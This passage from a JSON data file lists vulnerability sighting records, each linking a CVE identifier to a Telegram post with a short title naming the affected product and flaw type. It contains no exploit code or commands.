"2024-01-13T14:51:32.000000Z"}, {"uuid": "47fadf34-ac02-4b02-906a-b6e82fa6f39c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47215", "type": "seen", "source": "https://t.me/ctinow/170129", "content": "https://ift.tt/h8XQwxK\nCVE-2023-47215 | WESEEK GROWI up to 5.x cross site scripting", "creation_timestamp": "2024-01-19T10:16:40.000000Z"}, {"uuid": "e887e759-a85b-4a81-86f4-817c697e6477", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47091", "type": "seen", "source": "https://t.me/ctinow/169972", "content": "https://ift.tt/7LvmF4J\nCVE-2023-47091 | Stormshield Network Security Cookie access control", "creation_timestamp": "2024-01-18T22:26:23.000000Z"}, {"uuid": "eeb986ce-0f79-46f5-840f-234607c2a8cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47325", "type": "seen", "source": "https://t.me/ctinow/165674", "content": "https://ift.tt/7lfreiS\nCVE-2023-47325 | Silverpeas Core 6.3.1 Bin access control", "creation_timestamp": "2024-01-10T10:11:46.000000Z"}, {"uuid": "8c243822-cc7e-4c19-93d9-cf051fbbf040", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47320", "type": "seen", "source": "https://t.me/ctinow/165673", "content": "https://ift.tt/u6eC2Bp\nCVE-2023-47320 | Silverpeas Core up to 6.3.1 Maintenance Mode access control", "creation_timestamp": "2024-01-10T10:11:45.000000Z"}, {"uuid": "264b2d29-c4f0-421f-bda1-055e861a8c22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47323", "type": "seen", "source": "https://t.me/ctinow/165671", "content": "https://ift.tt/A7Yp8U4\nCVE-2023-47323 | Silverpeas Core 6.3.1 Message ID access control", "creation_timestamp": "2024-01-10T10:11:43.000000Z"}, {"uuid": "b31acc73-0e40-44ae-b323-532a6c77cbdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47092", "type": "seen", "source": "https://t.me/ctinow/169964", "content": "https://ift.tt/SdZXkns\nCVE-2023-47092", "creation_timestamp": "2024-01-18T22:21:29.000000Z"}, {"uuid": "61d13015-030f-445f-85f9-e03191d0a358", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47994", "type": "seen", "source": "https://t.me/ctinow/169070", "content": "https://ift.tt/ZjqgJmc\nCVE-2023-47994 Exploit", "creation_timestamp": "2024-01-17T01:16:35.000000Z"}, {"uuid": "e7f83de9-d482-46a9-b1a3-50ae141bb8e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47326", "type": "seen", "source": "https://t.me/ctinow/165696", "content": "https://ift.tt/B7j4ao0\nCVE-2023-47326 | Silverpeas Core 6.3.1 Domain SQL Create cross-site request forgery", "creation_timestamp": "2024-01-10T10:41:22.000000Z"}, {"uuid": "c9a49c0a-4e98-4514-8391-e9216e8ca1cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47324", "type": "seen", "source": "https://t.me/ctinow/165695", "content": "https://ift.tt/vGuB4zw\nCVE-2023-47324 | Silverpeas Core 6.3.1 Notification cross site scripting", "creation_timestamp": "2024-01-10T10:41:21.000000Z"}, {"uuid": "adc3a043-92ad-42c6-8013-0d95fe1c0356", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47322", "type": "seen", "source": "https://t.me/ctinow/165694", "content": "https://ift.tt/qcmkK20\nCVE-2023-47322 | Silverpeas Core 6.3.1 userModify cross-site request forgery", "creation_timestamp": "2024-01-10T10:41:20.000000Z"}, {"uuid": "24676e85-d66f-4b75-9721-e8feb8ac1381", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47321", "type": "seen", "source": "https://t.me/ctinow/165693", "content": "https://ift.tt/qY23Zsg\nCVE-2023-47321 | Silverpeas Core 6.3.1 Porlet Deployer access control", "creation_timestamp": "2024-01-10T10:41:18.000000Z"}, {"uuid": "94b0f8d6-0cb1-4891-be5e-33690368f6fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47559", "type": "seen", "source": "https://t.me/ctinow/172824", "content": "https://ift.tt/mkqygbJ\nCVE-2023-47559 | QNAP QuMagie 2.2.1 cross site scripting (qsa-23-23)", "creation_timestamp": "2024-01-24T15:16:35.000000Z"}, {"uuid": "72938557-1ed7-4aa4-8100-b8c3323d5688", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47560", "type": "seen", "source": "https://t.me/ctinow/172823", "content": "https://ift.tt/XLhT9nj\nCVE-2023-47560 | QNAP QuMagie prior 2.2.1 command injection (qsa-23-23)", "creation_timestamp": "2024-01-24T15:16:33.000000Z"}, {"uuid": "e60b4bf6-4154-4f03-bf34-21c39113a3b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47219", "type": "seen", "source": "https://t.me/ctinow/172822", "content": "https://ift.tt/06oqNQE\nCVE-2023-47219 | QNAP QuMagie prior 2.2.1 sql injection (qsa-23-32)", "creation_timestamp": "2024-01-24T15:16:32.000000Z"}, {"uuid": "c0d2fd85-b3c4-4443-84b6-3c15b494dac5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47304", "type": "seen", "source": "https://t.me/ctinow/158813", "content": "https://ift.tt/nSrdKiQ\nCVE-2023-47304 | Vonage Box Telephone Adapter VDV23 VDV21-3.2.11-0.5.1 UART improper authentication", "creation_timestamp": "2023-12-23T13:46:47.000000Z"}, {"uuid": "a65164a8-e813-4113-962e-7a32f9f0133e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47161", "type": "seen", "source": "https://t.me/ctinow/167780", "content": "https://ift.tt/YiwFSuX\nCVE-2023-47161 | IBM UrbanCode Deploy up to 7.1.2.14/7.2.3.7/7.3.2.2 Archive File input validation (XFDB-270799)", "creation_timestamp": "2024-01-13T10:21:32.000000Z"}, {"uuid": "2252056b-09bd-4426-994c-b11f690defe1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47702", "type": "seen", "source": "https://t.me/ctinow/167779", "content": "https://ift.tt/lLkOATs\nCVE-2023-47702 | IBM Security Guardium Key Lifecycle Manager 4.3 URL path traversal (XFDB-271196)", "creation_timestamp": "2024-01-13T10:21:31.000000Z"}, {"uuid": "c1dab14e-bff4-4180-b7cb-d59b5e6cd96f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47140", "type": "seen", "source": "https://t.me/ctinow/173359", "content": "https://ift.tt/TW4NRvk\nCVE-2023-47140 | IBM CICS Transaction Gateway Containers 9.3 access control (XFDB-270259)", "creation_timestamp": "2024-01-25T10:11:23.000000Z"}, {"uuid": "72d7dcb5-4383-4b7a-8652-67166fc6972c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47145", "type": "seen", "source": "https://t.me/ctinow/173357", "content": "https://ift.tt/nm2bHcW\nCVE-2023-47145 | IBM DB2/DB2 Connect Server 10.5/11.1/11.5 on Windows MSI Repair access control (XFDB-270402)", "creation_timestamp": "2024-01-25T10:11:21.000000Z"}, {"uuid": "2bcc1f53-bfa3-4142-b273-132df1a03293", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47093", "type": "seen", "source": "https://t.me/ctinow/167971", "content": "https://ift.tt/T5FOuUQ\nCVE-2023-47093 | Stormshield Network Security up to 4.3.21/4.6.8/4.7.0 ASQ Engine denial of service", "creation_timestamp": "2024-01-14T09:07:13.000000Z"}, {"uuid": "d8eaf544-d60b-4018-be19-5b431cd2448b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47267", "type": "seen", "source": "https://t.me/ctinow/167790", "content": "https://ift.tt/T5uJtbl\nCVE-2023-47267 | TheGreenBow Standard VPN Client on Windows memory corruption", "creation_timestamp": "2024-01-13T10:51:29.000000Z"}, {"uuid": "24726eb4-9df0-4fcb-98a1-708388b8835e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47191", "type": "seen", "source": "https://t.me/ctinow/168052", "content": "https://ift.tt/gDAxJfc\nCVE-2023-47191 | KaineLabs Youzify Plugin up to 1.2.2 on WordPress authorization", "creation_timestamp": "2024-01-14T15:12:12.000000Z"}, {"uuid": "843321fe-9201-483c-833d-045e3a94a319", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47265", "type": "seen", "source": "https://t.me/ctinow/167983", "content": "https://ift.tt/wJTsj5I\nCVE-2023-47265 | Apache Airflow up to 2.7.3 Parameter description cross site scripting", "creation_timestamp": "2024-01-14T10:11:38.000000Z"}, {"uuid": "c1a735d5-3f38-450d-84ab-3415a746577f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47118", "type": "seen", "source": "https://t.me/ctinow/167865", "content": "https://ift.tt/xd8s7Wr\nCVE-2023-47118 | ClickHouse Service Port 9000 heap-based overflow (GHSA-g22g-p6q2-x39v)", "creation_timestamp": "2024-01-13T15:56:20.000000Z"}, {"uuid": "eaf9f963-1ecd-4a0c-8176-6935bc9cc853", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47525", "type": "seen", "source": "https://t.me/ctinow/168012", "content": "https://ift.tt/t5BqCOA\nCVE-2023-47525 | A WP Life Event Monster Plugin up to 1.3.2 on WordPress cross site scripting", "creation_timestamp": "2024-01-14T12:46:53.000000Z"}, {"uuid": "aaab27f9-8281-4bfe-b7b0-99ecaadc958f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47527", "type": "seen", "source": "https://t.me/ctinow/168008", "content": "https://ift.tt/AN13lDa\nCVE-2023-47527 | Sajjad Hossain Sagor WP Edit Username Plugin up to 1.0.5 on WordPress cross site scripting", "creation_timestamp": "2024-01-14T12:16:16.000000Z"}, {"uuid": "a6c0f2fd-3bdd-4aad-b51e-c28e3fe5fe64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47074", "type": "seen", "source": "https://t.me/ctinow/162858", "content": "https://ift.tt/Gcs479N\nCVE-2023-47074 | Adobe Illustrator 2023/Illustrator 2024 up to 27.9.0/28.0 out-of-bounds (apsb23-68)", "creation_timestamp": "2024-01-04T09:41:48.000000Z"}, {"uuid": "85f8019a-0507-4e8e-a224-94ccb5993db7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47458", "type": "seen", "source": "https://t.me/ctinow/162054", "content": "https://ift.tt/LdhgBpW\nCVE-2023-47458", "creation_timestamp": "2024-01-02T22:26:50.000000Z"}, {"uuid": "88d339c4-0c34-4da8-9385-18757c318c77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47784", "type": "seen", "source": "https://t.me/ctinow/167904", "content": "https://ift.tt/G10yXsr\nCVE-2023-47784 | ThemePunch OHG Slider Revolution Plugin up to 6.6.15 on WordPress unrestricted upload", "creation_timestamp": "2024-01-13T19:56:42.000000Z"}, {"uuid": "1a91001c-cbcd-4042-b325-1c7527dc8574", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47990", "type": "seen", "source": "https://t.me/ctinow/167900", "content": "https://ift.tt/kIK0Zd3\nCVE-2023-47990 | SQL CuppaCMS 1.0 edit_admin_table.php table sql injection", "creation_timestamp": "2024-01-13T19:26:52.000000Z"}, {"uuid": "4b69ead6-4fc8-498d-9fd2-bfee941df0ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47146", "type": "seen", "source": "https://t.me/ctinow/167787", "content": "https://ift.tt/EjRi5vt\nCVE-2023-47146 | IBM QRadar SIEM 7.5 information disclosure (XFDB-270372)", "creation_timestamp": "2024-01-13T10:21:41.000000Z"}, {"uuid": "3d71b92c-fbb5-4983-bb62-dbbecf8456ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47706", "type": "seen", "source": "https://t.me/ctinow/167786", "content": "https://ift.tt/Mz1PIdp\nCVE-2023-47706 | IBM Security Guardium Key Lifecycle Manager 4.3 unrestricted upload (XFDB-271341)", "creation_timestamp": "2024-01-13T10:21:40.000000Z"}, {"uuid": "6434f60f-3201-4d25-879d-423c492cc493", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47704", "type": "seen", "source": "https://t.me/ctinow/167785", "content": "https://ift.tt/QONS4Ut\nCVE-2023-47704 | IBM Security Guardium Key Lifecycle Manager 4.3 Source Code hard-coded credentials (XFDB-271220)", "creation_timestamp": "2024-01-13T10:21:38.000000Z"}, {"uuid": "d4681b93-e75e-4e5a-9f77-6a18a7dd5bfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47236", "type": "seen", "source": "https://t.me/ctinow/167829", "content": "https://ift.tt/8drsi9w\nCVE-2023-47236 | Avirtum iPages Flipbook Plugin up to 1.4.8 on WordPress sql injection", "creation_timestamp": "2024-01-13T14:21:20.000000Z"}, {"uuid": "55a7859e-c049-4bf8-a513-9504d3c86cce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47473", "type": "seen", "source": "https://t.me/ctinow/171941", "content": "https://ift.tt/2KzrNnp\nCVE-2023-47473 | fuwushe iFair up to 23.8_ad0 path traversal", "creation_timestamp": "2024-01-23T13:31:49.000000Z"}, {"uuid": "6916999b-2e13-4743-8cba-f37e37fafe11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47558", "type": "seen", "source": "https://t.me/ctinow/167253", "content": "https://ift.tt/2uBXlvY\nCVE-2023-47558 | Mahlamusa Who Hit The Page Plugin up to 1.4.14.3 on WordPress sql injection", "creation_timestamp": "2024-01-12T14:06:49.000000Z"}, {"uuid": "a944f4f9-e8d5-42cc-8268-37be102d1caf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47530", "type": "seen", "source": "https://t.me/ctinow/167252", "content": "https://ift.tt/I8oRBkh\nCVE-2023-47530 | WPVibes Redirect 404 Error Page to Homepage or Custom Page with Logs Plugin sql injection", "creation_timestamp": "2024-01-12T14:06:47.000000Z"}, {"uuid": "45aa8041-02d9-4a81-9f4d-a4b7de0ff58a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47506", "type": "seen", "source": "https://t.me/ctinow/167251", "content": "https://ift.tt/bCOKSoh\nCVE-2023-47506 | Master Slider Pro Plugin up to 3.6.5 on WordPress sql injection", "creation_timestamp": "2024-01-12T14:06:46.000000Z"}, {"uuid": "645bc2ff-fa73-44ed-a88a-0f7b0b9ed93a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47473", "type": "seen", "source": "https://t.me/ctinow/162255", "content": "https://ift.tt/tRbC713\nCVE-2023-47473", "creation_timestamp": "2024-01-03T08:26:24.000000Z"}, {"uuid": "95f89f78-e8f8-4677-adcc-240834241c28", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47787", "type": "seen", "source": "https://t.me/ctinow/167174", "content": "https://ift.tt/BFD47LE\nCVE-2023-47787 | WooCommerce Bookings Plugin up to 2.0.3 on WordPress cross-site request forgery", "creation_timestamp": "2024-01-12T10:06:48.000000Z"}, {"uuid": "3067130d-5883-4fda-8cae-0a97ee9859c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47806", "type": "seen", "source": "https://t.me/ctinow/167173", "content": "https://ift.tt/HxU8JlP\nCVE-2023-47806 | Saint Systems Disable User Login Plugin up to 1.3.7 on WordPress cross-site request forgery", "creation_timestamp": "2024-01-12T10:06:47.000000Z"}, {"uuid": "111f9aff-3777-4805-b5cf-3b2eda13c1f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47459", "type": "seen", "source": "https://t.me/ctinow/172383", "content": "https://ift.tt/cs04RFK\nCVE-2023-47459 Exploit", "creation_timestamp": "2024-01-23T23:16:25.000000Z"}, {"uuid": "3c640d51-df59-4a69-b488-77ed8bfa8b6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47194", "type": "seen", "source": "https://t.me/ctinow/172353", "content": "https://ift.tt/MHnULhG\nCVE-2023-47194", "creation_timestamp": "2024-01-23T22:27:07.000000Z"}, {"uuid": "660587b7-59a5-4a9d-90c9-115db7b5d889", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47193", "type": "seen", "source": "https://t.me/ctinow/172352", "content": "https://ift.tt/fUlbHn8\nCVE-2023-47193", "creation_timestamp": "2024-01-23T22:27:03.000000Z"}, {"uuid": "ff2f8fb5-e435-4c56-842b-ec5e8265e52a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47192", "type": "seen", "source": "https://t.me/ctinow/172351", "content": "https://ift.tt/MLxstn3\nCVE-2023-47192", "creation_timestamp": "2024-01-23T22:27:02.000000Z"}, {"uuid": "c2afc939-6db8-4341-8355-1cf4b2a05fd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47077", "type": "seen", "source": "https://t.me/ctinow/162890", "content": "https://ift.tt/wDgbuiA\nCVE-2023-47077 | Adobe InDesign up to 18.5.0/19.0 out-of-bounds (apsb23-70)", "creation_timestamp": "2024-01-04T10:36:53.000000Z"}, {"uuid": "ce719cae-6232-4f5f-a6ad-1a8f83da1223", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47076", "type": "seen", "source": "https://t.me/ctinow/162880", "content": "https://ift.tt/XAhBeC3\nCVE-2023-47076 | Adobe InDesign up to 18.5.0/19.0 null pointer dereference (apsb23-70)", "creation_timestamp": "2024-01-04T10:11:28.000000Z"}, {"uuid": "556bbd3b-ae72-4c24-a764-a2b78f6f0150", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47578", "type": "seen", "source": "https://t.me/ctinow/162879", "content": "https://ift.tt/OEAisjS\nCVE-2023-47578 | Relyum RELY-PCIe/RELY-REC 22.2.1/23.1.0 Web Interface cross-site request forgery", "creation_timestamp": "2024-01-04T10:11:27.000000Z"}, {"uuid": "3a55c3b3-e641-4477-94ce-e8921d7625a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47575", "type": "seen", "source": "https://t.me/ctinow/162878", "content": "https://ift.tt/MATUNB1\nCVE-2023-47575 | Relyum RELY-PCIe/RELY-REC Web Interface cross site scripting", "creation_timestamp": "2024-01-04T10:11:26.000000Z"}, {"uuid": "c68351e1-9de4-4c08-97f1-d7b562478354", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47115", "type": "seen", "source": "https://t.me/ctinow/172427", "content": "https://ift.tt/ZGTDgq1\nCVE-2023-47115", "creation_timestamp": "2024-01-24T00:26:57.000000Z"}, {"uuid": "22e1298c-1081-4bef-83c9-081f23f493c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47573", "type": "seen", "source": "https://t.me/ctinow/162862", "content": "https://ift.tt/E0aKv2L\nCVE-2023-47573 | Relyum RELY-PCIe 22.2.1 Web Interface improper authorization", "creation_timestamp": "2024-01-04T09:41:52.000000Z"}, {"uuid": "debee7e3-3262-4816-bbfa-c760707290bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47202", "type": "seen", "source": "https://t.me/ctinow/172361", "content": "https://ift.tt/XHeTLAK\nCVE-2023-47202", "creation_timestamp": "2024-01-23T22:27:19.000000Z"}, {"uuid": "cba44e70-ea64-4366-95e8-86f894936852", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47201", "type": "seen", "source": "https://t.me/ctinow/172360", "content": "https://ift.tt/dy7ZaF6\nCVE-2023-47201", "creation_timestamp": "2024-01-23T22:27:18.000000Z"}, {"uuid": "451f9124-7657-4167-b037-b003944430a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47200", "type": "seen", "source": "https://t.me/ctinow/172359", "content": "https://ift.tt/SUaphqo\nCVE-2023-47200", "creation_timestamp": "2024-01-23T22:27:16.000000Z"}, {"uuid": "278c9c2e-abec-44b9-acd6-f840d31fba81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47199", "type": "seen", "source": "https://t.me/ctinow/172358", "content": "https://ift.tt/B8lyVW3\nCVE-2023-47199", "creation_timestamp": "2024-01-23T22:27:15.000000Z"}, {"uuid": "4105ce68-3db8-4832-b892-ea3251afd4ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47198", "type": "seen", "source": "https://t.me/ctinow/172357", "content": "https://ift.tt/HiTYOv4\nCVE-2023-47198", "creation_timestamp": "2024-01-23T22:27:11.000000Z"}, {"uuid": "385322c6-4356-44a0-b42b-93d87e45a68d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47196", "type": "seen", "source": "https://t.me/ctinow/172355", "content": "https://ift.tt/31AX0iY\nCVE-2023-47196", "creation_timestamp": "2024-01-23T22:27:09.000000Z"}, {"uuid": "606b42ab-6631-4fc4-b780-05d008cc6901", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4797", "type": "seen", "source": "https://t.me/ctinow/172138", "content": "https://ift.tt/F0q4nyH\nCVE-2023-4797 Exploit", "creation_timestamp": "2024-01-23T17:16:57.000000Z"}, {"uuid": "e8fa59d9-adf8-4a66-bb5c-56a46740b4b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4703", "type": "seen", "source": "https://t.me/ctinow/172380", "content": "https://ift.tt/hKtl4JX\nCVE-2023-4703 Exploit", "creation_timestamp": "2024-01-23T23:16:22.000000Z"}, {"uuid": "a74976b2-1ecf-4477-8ade-6b5ccde65df4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47197", "type": "seen", "source": "https://t.me/ctinow/172356", "content": "https://ift.tt/y0setgW\nCVE-2023-47197", "creation_timestamp": "2024-01-23T22:27:10.000000Z"}, {"uuid": "a52f0c46-2b0c-4c4e-9550-1a74c75d4a04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47195", "type": "seen", "source": "https://t.me/ctinow/172354", "content": "https://ift.tt/0UZvB9k\nCVE-2023-47195", "creation_timestamp": "2024-01-23T22:27:08.000000Z"}, {"uuid": "e26c2aee-48a0-4af2-abce-bb2760e990ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47574", "type": "seen", "source": "https://t.me/ctinow/162872", "content": "https://ift.tt/iAa0RxM\nCVE-2023-47574 | Relyum RELY-PCIe/RELY-REC SMB Configuration signature verification", "creation_timestamp": "2024-01-04T10:11:18.000000Z"}, {"uuid": "d8852998-f6d2-47e4-8022-b07dfabd124c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47579", "type": "seen", "source": "https://t.me/ctinow/162871", "content": "https://ift.tt/NwzkJvA\nCVE-2023-47579 | Relyum RELY-PCIe 22.2.1 System Group Misconfiguration unknown vulnerability", "creation_timestamp": "2024-01-04T10:11:17.000000Z"}, {"uuid": "3362311d-cb1a-4f98-9c72-005ff5a52bbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4757", "type": "seen", "source": "https://t.me/ctinow/172239", "content": "https://ift.tt/BPSzt0i\nCVE-2023-4757 Exploit", "creation_timestamp": "2024-01-23T19:17:41.000000Z"}, {"uuid": "798ecafc-7ba4-4678-880e-481421943d93", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 